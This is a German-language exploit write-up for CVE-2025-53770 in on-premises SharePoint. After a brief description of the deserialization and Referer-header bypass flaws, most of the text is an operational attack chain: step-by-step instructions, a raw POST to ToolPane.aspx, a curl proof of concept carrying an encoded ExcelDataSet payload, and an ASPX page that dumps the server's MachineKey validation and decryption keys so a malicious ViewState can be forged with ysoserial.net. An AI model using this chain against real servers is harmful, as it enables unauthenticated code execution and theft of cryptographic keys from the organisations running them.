
CVE-2025-53770 - SharePoint
Die Deserialisierung nicht vertrauenswürdiger Daten im lokalen Microsoft SharePoint Server ermöglicht es einem Angreifer, Code remote auszuführen und das System zu gefährden. Microsoft ist sich der aktiven Ausnutzung bewusst und bereitet ein umfassendes Update vor. Überprüfen Sie, ob die Abhilfemaßnahmen der CVE-Dokumentation wirksam sind.
Dabei handelt es sich um eine kritische Remote-Codeausführung (RCE). Sie nutzt eine unsichere Deserialisierung nicht vertrauenswürdiger Daten aus und ermöglicht einem Angreifer, beliebigen Code ohne Authentifizierung auszuführen.
Es handelt sich um eine Authentifizierungsbypass-Schwachstelle (Spoofing) durch Manipulation des HTTP-Headers (insbesondere des Referer-Felds), die es ermöglicht, Zugriffskontrollen zu umgehen und auf RCE mit CVE-53770 zu eskalieren.
Beide ersetzen frühere Patches (CVE-2025-49704 und CVE-2025-49706), die im Juli angewendet wurden, sich jedoch als unvollständig erwiesen und neue Angriffsvektoren ermöglichten.
1 - (Authentifizierungsbypass): /layouts/15/ToolPane.aspx
Schritt 1 – Senden Sie eine POST-Anfrage an die verwundbare URL. Schritt 2 – Laden Sie eine .aspx-Datei mit Code hoch, der den MachineKey ausliest (entsprechend Ihrem Codeausschnitt). Schritt 3 – Generieren Sie einen bösartigen ViewState mit Tools wie ysoserial.net, die mit diesen Schlüsseln konfiguriert sind.
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit HTTP/1.1
Host: sharepoint.lab.local
Referer: /_layouts/SignOut.aspx
Content-Length: 0
Der folgende PoC zeigt, wie ein Angreifer die Schwachstelle ausnutzen kann, um bösartige Payloads über den verwundbaren Endpunkt zu extrahieren und zu decodieren.
Die Ziel-Domain wird absichtlich durch target.com ersetzt.
PoC-Befehl 1
curl -sk -X POST 'https://target.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx' \
-H 'Referer: /_layouts/SignOut.aspx' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'MSOTlPn_Uri=https://target.com' \
--data-urlencode 'MSOTlPn_DWP=
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="H4sIAADEfmgA/4WRX2uzMBTG7/0Ukvs06ihjQb3ZbgobG1TYeO9OY6yBJpGTdHbfvudVu44x6FUkPn9+PEnK1nTdHuV8gE1P9uCCtKGFCBU7opNB9dpC4NYo9MF3kStvJen4rGKLZ4645bkU8c+c1Umalp33/0/62gGmC45pK9bA7qBZOpdI9OMrtpryM3ZR9RAee3B7HSpmXNAYdTuFTnGDVwvZKZiK9TEOUohxHFfj3crjXhRZlouPl+ftBMspIYJTVHlxEcQt13cdFTY6xHeEYdB4vaX7jet8vXERj8S/VeCcxicdtYrGuzf4OnhoSzGpftoaYykQ7FAXWbHm2T0v8qYoZP4g1+t/pbj+vyKIPxhKQUssEwvaeFpdTLOX4tfz18kZONVdDRICAAA=" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>' \
| grep -oP 'CompressedDataTable="\K[^&]+(?=")' \
| base64 -d 2>/dev/null \
| gzip -d 2>/dev/null \
| tee /tmp/sharepoint_decoded_payload.txt \
| grep -Ei 'IntruderScannerDetectionPayload|ExcelDataSet|divWaiting|ProgressTemplate|Scorecard'
Tatsächlich in der Analyse verwendeter Befehl
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="C#" CODEPAGE="65001">
public void Page_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
Response.Write(cg.ValidationKey + "|" + cg.Validation + "|" + cg.DecryptionKey + "|" + cg.Decryption + "|" + cg.CompatibilityMode);
}
</script>